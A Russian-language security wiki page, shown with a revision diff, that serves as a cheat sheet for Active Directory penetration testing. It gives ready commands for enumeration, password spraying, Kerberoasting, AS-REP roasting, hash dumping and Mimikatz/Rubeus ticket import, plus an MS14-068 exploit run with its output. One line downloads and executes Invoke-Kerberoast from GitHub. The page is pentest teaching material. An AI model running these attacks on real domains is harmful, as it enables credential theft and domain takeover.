Active directory — различия между версиями
Drakylar (обсуждение | вклад) м (→SID) |
Drakylar (обсуждение | вклад) м (→Другое) |
||
Строка 664: | Строка 664: | ||
=== MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability) === | === MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability) === | ||
− | ==== 1. | + | ==== 1. Получить SID пользователя ==== |
+ | http://itsecwiki.org/index.php/Active_directory#SID | ||
− | + | ==== 2. Сгенерировать билет ==== | |
− | |||
− | |||
− | |||
− | |||
− | + | Используя Metasploit: | |
− | + | ||
− | + | Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum | |
− | S-1-5-21- | + | Name Current Setting Required Description |
− | + | ---- --------------- -------- ----------- | |
+ | DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL | ||
+ | PASSWORD P@ssw0rd yes The Domain User password | ||
+ | RHOSTS 10.10.10.10 yes The target address range or CIDR identifier | ||
+ | RPORT 88 yes The target port | ||
+ | Timeout 10 yes The TCP timeout to establish connection and read data | ||
+ | USER lambda yes The Domain User | ||
+ | USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000 | ||
+ | |||
+ | |||
+ | Используя pykek: | ||
+ | |||
+ | https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek | ||
+ | |||
+ | git clone https://github.com/SecWiki/windows-kernel-exploits | ||
+ | cd windows-kernel-exploits | ||
+ | python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword> | ||
+ | |||
+ | python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066 | ||
+ | -1105 | ||
+ | [+] Building AS-REQ for msfdc01.metasploitable.local... Done! | ||
+ | [+] Sending AS-REQ to msfdc01.metasploitable.local... Done! | ||
+ | [+] Receiving AS-REP from msfdc01.metasploitable.local... Done! | ||
+ | [+] Parsing AS-REP from msfdc01.metasploitable.local... Done! | ||
+ | [+] Building TGS-REQ for msfdc01.metasploitable.local... Done! | ||
+ | [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done! | ||
+ | [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done! | ||
+ | [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done! | ||
+ | [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done! | ||
+ | |||
+ | ==== 3. Загрузить билет ==== |
Версия 22:11, 21 января 2022
Страница посвящена тестированию на проникновение сетей Active Directory на Windows OS.
Содержание
- 1 Общая информация о сети
- 2 Дополнительная информация о сети
- 3 Получение начального доступа
- 4 Сбор информации о пользователе
- 5 Автоматизированный поиск уязвимостей
- 6 Атаки
Общая информация о сети
Домен
PC в домене
cmd.exe
systeminfo | findstr /B /C:"Domain"
echo %userdomain%
wmic computersystem get domain
powershell
import-module activedirectory
Get-ADDomain
# current domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# domain trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
Удаленно
nmap
У доменного контроллера будут как правило открыты порты: 53/tcp (dns), 389/tcp (ldap), 88/udp (kerberos), 135/tcp.
После того, как nmap найдет доменный контроллер он еще автоматом с аргументом -sV определит домен.
Поэтому для поиска можно просканнировать сеть на данные порты
nmap -p 53,389,135 <network/24> -v -sV
ldapsearch
Если мы нашли сервис LDAP, но по каким то причинам nmap не определил домен, то можно попытаться подключиться и самим определить.
ldapsearch -x -h 10.10.10.175 -s base namingcontexts
Forest Domains
Домены могут между собой обьединены в "леса" и их тоже можно узнать.
PC в домене
PowerShell
import-module activedirectory
Get-ADForest
# current forest info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
# get forest trust relationships
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()
cmd.exe
Доменный контроллер
nslookup
set type=all
_ldap._tcp.dc._msdcs.DOMAIN_NAME
nslookup -type=srv _kerberos._tcp.EXMAPLE.COM
nslookup -type=srv _kerberos._udp.EXMAPLE.COM
nslookup -type=srv _kpasswd._tcp.EXAMPLE.COM
nslookup -type=srv _kpasswd._udp.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.dc._msdcs.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.pdc._msdcs.EXAMPLE.COM
# Если запросы идут к FOREST-домену
nslookup -type=srv _ldap._tcp.gc._msdcs.%DNSFORESTNAME%.
nslookup -type=srv _gc._tcp.%DNSFORESTNAME%.
nslookup -type=any %userdnsdomain%.
nltest
nltest /dclist:domainname
Powershell ActiveDirectory
Import-Module ActiveDirectory
(Get-ADDomainController -DomainName <Domain FQDN> -Discover -NextClosestSite).HostName
Powershell Resolve-DnsName
Resolve-DnsName -Name _ldap._tcp.dc._msdcs.<YOU_DOMAIN> -Type SRV
gpresult
Мало инфы
gpresult
Много инфы
gpresult /z
or
gpresult /Z
nmap
СМ. выше поиск домена используя nmap.
Доменные компьютеры
PC в домене
Powershell Get-ADComputer
import activedirectory
Get-ADComputer -Filter * -Properties IPv4Address
netdom.exe
netdom member
netdom /d:<domain name> \[/u:<domain>\<user to which query> /p:<password\] member
net.exe
net view /domain:savtech
Powershell adsisearcher
$AD = [adsisearcher]"objectcategory=computer"
$Computers = $AD.FindAll()
$Computers.Properties.Name
Удаленно
ldapsearch
ldapsearch -LLL -H ldap://ad.ourdomain.local -x -D 'OURDOMAIN\user' -w 'thepassword' -b 'dc=ourdomain,dc=local' 'objectClass=computer' name
windapsearch
https://github.com/ropnop/windapsearch
windapsearch -C ...
Дополнительная информация о сети
Список пользователей
Без перебора
crackmapexec
crackmapexec smb <ip> -u <user> -p <password> --users
powershell
Get-ADUser -Filter 'Name -like "*SvcAccount"' | Format-Table Name,SamAccountName -A
Impacket-GetADUsers
python3 GetADUsers.py -all test.local/john:password123 -dc-ip 10.10.10.1
windapsearch
windapsearch --users ...
ldapsearch
ldapsearch -xLLL -h domain.org -D "domain\\user" -W -b "DC=domain,DC=org" -s sub "(objectclass=user)" sAMAccountName
С перебором
nmap
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <dc_ip>
enum4linux
enum4linux -U <dc-ip> | grep 'user:'
Время сети
Вариантов много, но не все работают.
NTP
sudo service ntp stop
sudo ntpdate -s time.nist.gov
sudo service ntp start
root@kali:~# rdate -n 10.10.10.248
Sun Oct 17 19:41:14 EDT 2021
date --set 1998-11-02
date --set 21:08:00
Вариант 2 - если время откатывается обратно.
service ntpd stop
update-rc.d -f ntpd remove
nano /etc/ntp.conf
while true; do date --set 19:46:08 > /dev/null; done;
sudo apt-get install chrony
sudo timedatectl set-ntp true
sudo ntpdate <machine IP>
Отключить VirtualBox автоматическую установку времени
VBoxManage setextradata "VM name" "VBoxInternal/Devices/VMMDev/0/Config/GetHostTimeDisabled" 1
HTTP
Можно использовать вместе с прокси
proxychains htpdate 172.16.249.204 -s
Сетевая информация
IP
powershell
Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*
$domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
$domain | ForEach-Object {$_.DomainControllers} |
ForEach-Object {
$hostEntry= [System.Net.Dns]::GetHostByName($_.Name)
New-Object -TypeName PSObject -Property @{
Name = $_.Name
IPAddress = $hostEntry.AddressList[0].IPAddressToString
}
} | Select Name, IPAddress
Get-WinEvent -Computer (computer name) -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | select @{N='User';E={$_.Properties[1].Value}}
В CSV:
$domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
$domain | ForEach-Object {$_.DomainControllers} |
ForEach-Object {
$hostEntry= [System.Net.Dns]::GetHostByName($_.Name)
New-Object -TypeName PSObject -Property @{
Name = $_.Name
IPAddress = $hostEntry.AddressList[0].IPAddressToString
}
} | Export-CSV "C:\DomainControllers.csv" -NoTypeInformation -Encoding UTF8
Сервисы
Получение начального доступа
Анонимный доступ
Для проверки анонимного доступа можно воспользоваться одним из следующих протоколов.
LDAP
windapsearch
Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*
nmap
sudo nmap x.x.X.x -Pn -sV
# 636/tcp open ssl/ldap (Anonymous bind OK)
SMB
smbmap
python smbmap.py -H 192.168.0.1
smbclient
smbclient –L 192.168.1.108
nmap
sudo nmap -sU -sS --script smb-enum-shares.nse -p U:137,T:139 <host>
MSRPC
rpcclient
rpcclient -U '' -N 10.10.10.1
Учетные данные
Сетевой перебор учетных данных (пароля)
Перебор учетных данных по протоколам лучше смотреть тут http://itsecwiki.org/index.php/Brute_force
Стоит заметить, что лучше всего использовать технику Password Spraying тк по-умолчанию аккаунты блокируются от большого количества попыток ввода пароля. Максимум лучше по 3-5 паролей на аккаунт.
Протоколы: SMB, OWA, smtp, skype,...
Оффлайн перебор
NTLM
Если у вас есть NTLM-хеш пароля пользователя, то его можно отправить на перебор.
http://itsecwiki.org/index.php/Offline_bruteforce - тут подробнее о переборе NTLM
Также хеш не обязательно перебирать, его можно будет использовать в следующих этапах при атаке Pass The Hash (когда вместо пароля пользователя отправляется его NTLM-хеш).
TGS
Если у вас есть TGS-ticket для доступа к сервису, то вы можете пробрутить пароль учетки от которой будет идти запрос.
На странице http://itsecwiki.org/index.php/Offline_bruteforce вы можете найти команды для перебора паролей.
Kerberoasting
Это метод получения TGS. После его получения перейдите в пункт выше - перебор пароля в TGS. Как правилоm его делают когда уже авторизовались в домене, но может иногда сработать при анонимном доступе. Для этого нам потребуется найти доступные SPN
Поиск SPN
Windows в домене
cmd.exe
setspn -T TestDomain -Q */*
Пример SPN учетки MSSQLSERVER
MSSQLSERVER/SQL-Server.testdomain.com:1433
Powershell
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$results = $search.Findall()
foreach($result in $results)
{
$userEntry = $result.GetDirectoryEntry()
Write-host "User : " $userEntry.name "(" $userEntry.distinguishedName ")"
Write-host "SPNs"
foreach($SPN in $userEntry.servicePrincipalName)
{
$SPN
}
Write-host ""
}
Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>
Удаленно
Windapsearch
https://github.com/ropnop/windapsearch
https://github.com/ropnop/go-windapsearch
Параметр "user-spns".
Impacket GetUserSPNs
https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py
python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>
Получение TGS
Сложные варианты
TODO
Без SPNS https://swarm.ptsecurity.com/kerberoasting-without-spns/
ASP-REP roasting
Если у Kerberos отключена предварительная аутентификация, то сервер вернет ASP-REP, зашифрованная часть которого подписана клиентским ключем на кого он выписан.
Получить хеш
Rubeus
Rubeus.exe aspreproast
GetNPUsers.py
GetNPUsers.py CONTOSO.COM/Administrator:'P@ssw0rd' -request
Для информации о переборе хеша перейдите на страницу http://itsecwiki.org/index.php/Offline_bruteforce#ASP-REP
SAM & SYSTEM
Если вы каким то образом получили SAM, SYSTEM-файлы, то вы можете извлечь из них NTLM-пароли пользователей.
Но для того, чтобы получить NTLM-хеш, вам потребуется и SAM и SYSTEM.
Получение хешей
samdump2
samdump2 -d ./SAM ./SYSTEM
После чего следуйте инструкциям в пункте про NTLM.
TGT-билет
Как Cookie у браузера, он требуется для получения TGS который в свою очередь используется для подключения к сервисам. Если вы нашли файл с TGT-ключем, то у него есть два формата: kirbi & ccache, поэтому надо сконвертировать.
Конвертация
https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketConverter.py
./ticket_converter.py admin.ccache admin.kirbi
./ticket_converter.py admin.kirbi admin.ccache
Импорт тикета
!Не забудьте установить время то же, пункт выше!
.ccache
Rubeus
.\Rubeus.exe ppt /ticket:new_ticket.ccache
Mimikatz
mimikatz # kerberos::ptt new_ticket.ccache
Bash
export KRB5CCNAME=./test.ccache
Сбор информации о пользователе
SID
Получиь SID пользователя, часто нужно для запросов/эксплуатации.
Доступ к ПК
cmd.exe
wmic useraccount get name,sid
powershell
Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502
Группы
С доступом к ПК
Powershell
Get-ADPrincipalGroupMembership username | select name
Import-Module ActiveDirectory
(Get-ADUser userName –Properties MemberOf | Select-Object MemberOf).MemberOf
(Get-ADUser userName –Properties MemberOf).MemberOf
(New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$($env:username)))")).FindOne().GetDirectoryEntry().memberOf
cmd.exe
net user /domain username
Удаленно
Windapsearch
https://github.com/ropnop/windapsearch
windapsearch -G ...
Ldapsearch
ldapsearch -x -H "ldap://openldap" -D "CN=UserName,CN=Users,DC=YOURDOMAIN,DC=NET" -w admin '(member:1.2.840.113556.1.4.1941)'
ldapsearch -LLL -x -h DC-THESHIP.PLANETEXPRESS.LOCAL -p 389 -D 'PLANETEXPRESS\SService' -w 'L1feD3@thSeamlessContinuum' -b 'DC=PLANETEXPRESS,DC=LOCAL' "(member=1.2.840.113556.1.4.1941)" dn
Правила
Доступ к ПК
Powershell
string currentuser = Environment.UserName;
string currentmachine = Environment.MachineName;
if (DirectoryEntry.Exists(string.Format("WinNT://{0}/{1}", currentmachine, currentuser)))
{
Console.WriteLine("it's working\n");
Roles.Enabled = true;
Console.WriteLine(Roles.GetRolesForUser(currentuser));
}
else
{
Console.WriteLine("it's not working");
}
Удаленно
Политики
Автоматизированный поиск уязвимостей
BloodHound
PingCastle
Повышение привилегий
Горизонтальные
Вертикальные
Атаки
Некорректная настройка привилегий
Другое
MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
1. Получить SID пользователя
http://itsecwiki.org/index.php/Active_directory#SID
2. Сгенерировать билет
Используя Metasploit:
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
Name Current Setting Required Description ---- --------------- -------- ----------- DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL PASSWORD P@ssw0rd yes The Domain User password RHOSTS 10.10.10.10 yes The target address range or CIDR identifier RPORT 88 yes The target port Timeout 10 yes The TCP timeout to establish connection and read data USER lambda yes The Domain User USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
Используя pykek:
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
git clone https://github.com/SecWiki/windows-kernel-exploits cd windows-kernel-exploits python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066 -1105
[+] Building AS-REQ for msfdc01.metasploitable.local... Done! [+] Sending AS-REQ to msfdc01.metasploitable.local... Done! [+] Receiving AS-REP from msfdc01.metasploitable.local... Done! [+] Parsing AS-REP from msfdc01.metasploitable.local... Done! [+] Building TGS-REQ for msfdc01.metasploitable.local... Done! [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done! [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done! [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done! [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!